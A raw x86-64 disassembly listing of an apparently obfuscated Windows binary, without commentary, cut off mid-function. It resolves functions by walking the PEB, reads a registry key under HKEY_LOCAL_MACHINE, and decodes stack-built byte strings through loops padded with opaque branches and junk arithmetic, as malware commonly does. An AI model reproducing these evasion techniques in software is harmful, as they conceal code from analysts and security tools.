add r10, r12
mov al, byte [r10]
test al, al
jne 0x1401143bd
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1401142ba
mov qword [0x1404fc110], r10
mov r15, qword [rsp + 0x58]
lea rax, [0x1404fba68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r15
mov rcx, 0xffffffff80000002
call r10
test eax, eax
jne 0x140117703
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1280]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x2c0], 0x45
mov byte [rbp + 0x2c1], 0x75
mov byte [rbp + 0x2c2], WSASetLastError
mov byte [rbp + 0x2c3], 0x66
mov byte [rbp + 0x2c4], 0x76
mov byte [rbp + 0x2c5], 0x64
mov byte [rbp + 0x2c6], Ordinal_46
mov byte [rbp + 0x2c7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2c8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x2c9], 0x7d
mov byte [rbp + 0x2ca], 0xa
xor eax, eax
mov qword [rbp + 0x2cb], rax
mov word [rbp + 0x2d3], ax
mov byte [rbp + 0x2d5], al
movabs rsi, 0x3d8c105214cd0d80
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r11d, 0x80
xor r9d, r9d
cmp r9, 0x16
jae 0x140114f22
movzx r8d, byte [rbp + r9 + 0x2c0]
mov rdx, r8
cmp rbx, r9
ja 0x140114f19
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140114501
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
jmp 0x1401147a1
je 0x140114e9a
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140114e4a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140114e1f
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140114dfc
cmp r10, r9
ja 0x140114f10
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x140114562
movabs rdx, 0xc7d56bbb4d21b80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
jmp 0x14011477f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140114dad
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140114d8d
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140114d3b
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140114d19
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140114d0a
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140114a1d
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401149fb
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401149dc
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401149bc
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14011499d
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14011497e
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x14011495f
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140114950
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140114931
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140114911
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401145b0
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x2a]
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140114eee
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x140114ecc
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401147a9
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140114787
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140114765
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401148f2
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1401148d3
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14011488d
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140114863
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401145b0
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x2a]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140114854
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140114845
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140114836
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140114827
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140114818
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140114809
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401147fa
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1401147da
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401147cb
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401145b0
lea rbx, [r10 + 0x20]
lea r10, [rbx + 0x2a]
jmp 0x1401145b0
movabs rcx, 0x6b0cdc914b565480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x1401145a3
movabs rcx, 0xeff4bbed21bc3980
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x14011452e
movabs rcx, 0x74dc9b48f8221e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x1401144d3
movabs rdx, 0x63eab5dda690dc00
jmp 0x140114a05
movabs rcx, 0xe8d295397cf6c100
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140114df1
movabs rcx, 0x6dba7495535ca600
jmp 0x1401149c6
movabs rcx, 0xf2a253f129c28b00
jmp 0x1401149a7
movabs rcx, 0x778a334d00287000
jmp 0x140114988
movabs rcx, 0xfc7212a8d68e5500
jmp 0x140114969
movabs rcx, 0x8159f204acf43a00
jmp 0x140114af0
movabs rcx, 0x641d160835a1f00
jmp 0x14011493b
movabs rcx, 0x8b29b0bc59c00400
jmp 0x14011491b
movabs rcx, 0x576d5f21f1bec080
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
mov byte [rbp + r9 + 0x2c0], dil
jmp 0x140114ec4
movabs rcx, 0xdc553e7dc824a580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
cmp r10, 0x7a
jb 0x140114880
movabs rdx, 0x85ce80b449b36100
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140114dcd
movabs rcx, 0x613d1dd99e8a8a80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114a79
movabs rcx, 0xe624fd3574f06f80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114a3e
movabs rcx, 0x4af008663ceca500
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140114eb5
movabs rcx, 0xcfd7e7c213528a00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114e6a
movabs rcx, 0x54bfc71de9b86f00
jmp 0x140114af0
movabs rcx, 0xd9a7a679c01e5400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114e3a
movabs rcx, 0x5e8f85d596843900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114e1a
movabs rcx, 0xe37765316cea1e00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114cb7
movabs rcx, 0x685f448d43500300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140114df4
movabs rcx, 0xed4723e919b5e800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114df1
movabs rdx, 0x722f0344f01bcd00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x140114dcd
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140114ab5
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r11b
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x140114ce3
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x140114b82
movabs rdx, 0xaa5fe38ef4dc3780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r11b
cmp rbx, 0x7a
jae 0x140114c92
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x140114c1a
movabs rdx, 0xb6dd3a4aa9ae5300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x1401148aa
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140114add
movabs rcx, 0x18faad7769a43700
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114eb5
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140114b05
movabs rcx, 0xf2aeebfbcd86d00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114d58
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140114b2e
movabs rcx, 0x55b3008100ca300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140114e1a
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140114b56
movabs rcx, 0xfb8b71506340d900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114df4
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140114a41
movabs rcx, 0xf1bbb298b6750f00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114dcd
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140114b9a
movabs rdx, 0x257804331e765280
jmp 0x140114db7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140114bb2
movabs rcx, 0x1ba8457b71aa8880
jmp 0x140114d97
cmp rbx, rcx
jne 0x140114bd6
movabs rcx, 0x11d886c3c4debe80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114e17
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140114bee
movabs rcx, 0x808c80c1812f480
jmp 0x140114d45
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140114a7c
movabs rcx, 0xfe3909546b472a80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140114eb2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140114c32
movabs rcx, 0x31f55aeed3486e00
jmp 0x14011491b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140114c4a
movabs rcx, 0x28259c37267ca400
jmp 0x140114af0
cmp rbx, rcx
jne 0x140114c5e
movabs rcx, 0x1e55dd7f79b0da00
jmp 0x140114988
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140114c76
movabs rcx, 0x14861ec7cce51000
jmp 0x1401149c6
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401148aa
movabs rcx, 0xab6601020194600
jmp 0x140114b6d
movabs rdx, 0xe6a158734d7c00
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x2c0]
sub dil, al
add dil, dl
add dil, r8b
movabs rcx, 0x3e72b1aa881a8980
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, dil
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x2c0], cl
jmp 0x140114e1a
movabs rdx, 0x7bfec1fc9ce79700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x2c0]
add dil, dl
jmp 0x140114d58
movabs rcx, 0x60567c812b3d0e80
jmp 0x140114c05
movabs rdx, 0xe53e5bdd01a2f380
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
jmp 0x140114e67
movabs rcx, 0x6a263b38d808d880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
movabs rcx, 0xb98ad24eb1b4a480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x2c0], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x140114e6a
movabs rcx, 0x7dc5b8a831a06c80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, r11b
jmp 0x140114df4
movabs rdx, 0x8795775fde6c3680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r11b
movabs rcx, 0xc35a91065e806e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x2c0], cl
add r10, r12
sub r9, r12
jmp 0x140114ec4
movabs rcx, 0xa504b386e4cf9480
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, r11b
add rbx, r10
jmp 0x140114e3a
movabs rcx, 0x29ec92e2bb357980
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, r11b
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140114ec4
mov r8, rdx
movabs rcx, 0x33bc519a68014380
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
add dil, cl
add dil, r11b
movabs rcx, 0xf716e2a0c681b200
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
mov byte [rbp + r9 + 0x2c0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140114eb5
movabs rcx, 0xb8a430f63e672880
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, r11b
movzx eax, byte [rbp + r9 + 0x2c0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1401144c0
movabs rcx, 0xf9c47aa4ce880380
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x1401144bd
movabs rcx, 0x7eac5a00a4ede880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r11b
jmp 0x1401144a7
lea rdx, [rbp + 0x14514c0]
jmp 0x140114f29
lea rdx, [rbp + 0x1122240]
jmp 0x140114f29
lea rdx, [rbp + 0x2c0]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1280]
call fcn.140089cb0
nop
cmp qword [rbp + 0x1308], 0
je 0x1401176f7
mov byte [rbp + 0xdb0], Ordinal_217
mov byte [rbp + 0xdb1], Ordinal_41
mov byte [rbp + 0xdb2], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xdb3], Ordinal_60
mov byte [rbp + 0xdb4], 0x56
mov byte [rbp + 0xdb5], 0x44
mov byte [rbp + 0xdb6], 0x86
mov byte [rbp + 0xdb7], 0xb7
mov byte [rbp + 0xdb8], 0x52
mov byte [rbp + 0xdb9], 0x56
mov byte [rbp + 0xdba], 0x5e
mov byte [rbp + 0xdbb], Ordinal_79
mov byte [rbp + 0xdbc], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xdbd], 0x51
mov byte [rbp + 0xdbe], 0x47
mov r14b, 0x58
mov byte [rbp + 0xdbf], r14b
mov byte [rbp + 0xdc0], 0x5e
mov byte [rbp + 0xdc1], Ordinal_143
mov byte [rbp + 0xdc2], 0xb1
mov byte [rbp + 0xdc3], Ordinal_143
mov byte [rbp + 0xdc4], 0xa4
mov byte [rbp + 0xdc5], 0x47
mov byte [rbp + 0xdc6], 0x5b
mov byte [rbp + 0xdc7], Ordinal_79
mov byte [rbp + 0xdc8], 0x59
mov byte [rbp + 0xdc9], 0x46
mov byte [rbp + 0xdca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xdcb], 0x40
mov byte [rbp + 0xdcc], 0x9c
mov byte [rbp + 0xdcd], 0xb4
mov r15b, 0x48
mov byte [rbp + 0xdce], r15b
mov byte [rbp + 0xdcf], 0x43
mov byte [rbp + 0xdd0], 0x55
mov byte [rbp + 0xdd1], 0x56
mov byte [rbp + 0xdd2], 0x57
mov byte [rbp + 0xdd3], Ordinal_79
mov byte [rbp + 0xdd4], 0x78
mov byte [rbp + 0xdd5], 0x7c
mov byte [rbp + 0xdd6], 0xa6
mov byte [rbp + 0xdd7], 0x99
mov byte [rbp + 0xdd8], WSAGetLastError
mov byte [rbp + 0xdd9], 0x76
mov byte [rbp + 0xdda], 0x76
mov byte [rbp + 0xddb], 0x62
mov byte [rbp + 0xddc], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xddd], 0x64
mov byte [rbp + 0xdde], 0x79
mov byte [rbp + 0xddf], 0x79
mov byte [rbp + 0xde0], 0xa8
mov byte [rbp + 0xde1], 0x85
mov byte [rbp + 0xde2], 0x67
mov byte [rbp + 0xde3], 0x77
mov byte [rbp + 0xde4], 0x79
mov byte [rbp + 0xde5], 0x76
mov byte [rbp + 0xde6], WSASetLastError
mov byte [rbp + 0xde7], 0x7a
mov byte [rbp + 0xde8], 0x7c
mov byte [rbp + 0xde9], 0xb1
mov byte [rbp + 0xdea], 0x77
mov byte [rbp + 0xdeb], 0xb3
mov byte [rbp + 0xdec], 0xa9
mov byte [rbp + 0xded], 0xbd
mov byte [rbp + 0xdee], 0x85
mov byte [rbp + 0xdef], 0xbf
mov byte [rbp + 0xdf0], Ordinal_143
mov byte [rbp + 0xdf1], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xdf2], WSAGetLastError
mov byte [rbp + 0xdf3], 0x68
mov byte [rbp + 0xdf4], 0x85
mov byte [rbp + 0xdf5], Ordinal_143
mov byte [rbp + 0xdf6], Ordinal_143
mov byte [rbp + 0xdf7], 0x47
mov byte [rbp + 0xdf8], 0x56
mov byte [rbp + 0xdf9], __WSAFDIsSet
mov byte [rbp + 0xdfa], 0x9d
mov byte [rbp + 0xdfb], 0x82
mov byte [rbp + 0xdfc], Ordinal_143
mov byte [rbp + 0xdfd], 0x9f
mov byte [rbp + 0xdfe], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xdff], 0x59
mov byte [rbp + 0xe00], r15b
mov byte [rbp + 0xe01], 0x75
mov byte [rbp + 0xe02], 0x9d
mov byte [rbp + 0xe03], Ordinal_79
mov byte [rbp + 0xe04], 0x64
mov byte [rbp + 0xe05], 0x88
mov byte [rbp + 0xe06], 0x84
mov byte [rbp + 0xe07], __WSAFDIsSet
mov byte [rbp + 0xe08], 0x98
mov byte [rbp + 0xe09], 0x90
mov byte [rbp + 0xe0a], 0x81
mov byte [rbp + 0xe0b], 0x9e
mov byte [rbp + 0xe0c], 0x5c
mov byte [rbp + 0xe0d], 0x98
mov byte [rbp + 0xe0e], 0x3e
xor eax, eax
mov qword [rbp + 0xe0f], rax
movabs rsi, 0xf583d35dbda0603c
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x67
jae 0x140115deb
movzx r8d, byte [rbp + r9 + 0xdb0]
mov r11, r8
cmp rbx, r9
ja 0x140115de2
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14011525f
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x5c
jmp 0x140115299
je 0x140115d56
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140115ccc
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140115c97
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140115c4b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140115c1e
cmp r10, r9
ja 0x140115dd9
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x1401152ce
movabs rdx, 0x23d056b08e27e4ec
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x14011530f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140115bd2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140115bb2
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140115b9e
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140115b77
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140115b57
mov r11d, recv
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140115868
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140115845
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x140115831
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x14011580e
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1401157eb
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401157d7
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401157b0
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x14011578d
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14011576a
lea rbx, [r10 + 0x400]
lea r10, [rbx + 0x3e8]
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140115db2
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x140115d8f
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140115502
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401154db
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401154b6
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140115747
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1401156e7
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140115697
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14011566c
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140115648
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140115621
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x140115600
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401155dd
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401155b9
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140115595
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140115572
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14011554f
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140115528
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140115322
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 9]
jmp 0x140115322
movabs rdx, 0x4e93c3e5f6144094
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x140115315
movabs rdx, 0x638c1d2a7ad3801c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140115299
movabs rdx, 0x7884766eff92bfa4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
add dil, dl
jmp 0x140115230
movabs rdx, 0x1e82b584713f2760
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140115bf4
movabs rcx, 0x337b0ec8f5fe66e8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
jmp 0x140115c40
movabs rcx, 0x4873680d7abda670
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140115c43
movabs rdx, 0x5d6bc151ff7ce5f8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140115c69
movabs rcx, 0x72641a96843c2580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140115cb6
movabs rcx, 0x875c73db08fb6508
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140115cb9
movabs rdx, 0x9c54cd1f8dbaa490
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140115b4c
movabs rdx, 0xb14d26641279e418
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140115d21
movabs rcx, 0xc6457fa8973923a0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x140115d78
movabs rcx, 0xfab25ed3e3174274
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
mov byte [rbp + r9 + 0xdb0], dil
jmp 0x140115d87
movabs rdx, 0xfaab81867d681fc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 5
jb 0x14011568a
movabs rcx, 0xd28637598de657e8
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140115bf4
movabs rdx, 0x24a3115cec95c184
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x10
jae 0x140115afb
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x140115a53
movabs rdx, 0xa439b406bd5ed338
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401156b9
movabs rdx, 0x399b6aa17155010c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
jmp 0x14011588a
movabs rcx, 0xebda6167d9ae9d10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140115d21
movabs rcx, 0xd2baac5e6ddc98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140115ced
movabs rdx, 0x15cb13f0e32d1c20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140115cb9
movabs rdx, 0x2ac36d3567ec5ba8
mov ecx, 0x34
jmp 0x140115b86
movabs rdx, 0x3fbbc679ecab9b30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x140115c69
movabs rcx, 0x54b41fbe716adab8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140115c43
movabs rdx, 0x69ac7902f62a1a40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140115c2d
movabs rdx, 0x7ea4d2477ae959c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x140115bf1
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jae 0x1401158cb
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x64
je 0x140115b2a
lea rax, [r10 + 0x42]
cmp rbx, rax
jbe 0x1401159ca
movabs rcx, 0x80695d562f36ee4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x140115709
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401158f9
movabs rdx, 0x47a0ad611c4fc9d8
mov ecx, r11d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140115d78
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140115925
